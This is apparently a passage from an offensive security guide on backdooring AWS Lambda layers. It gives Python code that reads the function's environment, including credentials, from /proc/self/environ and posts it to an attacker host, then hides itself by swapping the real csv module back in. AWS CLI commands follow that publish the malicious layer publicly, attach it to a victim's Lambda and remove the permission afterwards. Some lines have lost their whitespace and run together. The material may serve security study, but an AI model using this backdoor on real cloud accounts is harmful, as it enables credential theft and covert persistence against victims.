import sysfrom urllib import requestwithopen("/proc/self/environ", "rb")as file:url="https://attacker13123344.com/"#Change this to your serverreq = request.Request(url, data=file.read(), method="POST")response = request.urlopen(req)# Remove backdoor directory from path to load original librarydel_path_dir ="/".join(__file__.split("/")[:-2])sys.path.remove(del_path_dir)# Remove backdoored loaded library from sys.modulesdel sys.modules[__file__.split("/")[-2]]# Load original libraryimport csv as _csvsys.modules["csv"]= _csv
# Upload backdoor layeraws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer## Put the account number in --principal to give access only to an accountaws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda# Remove permissionsawslambdaremove-layer-version-permission--layer-nameExternalBackdoor--statement-idxaccount--version-number1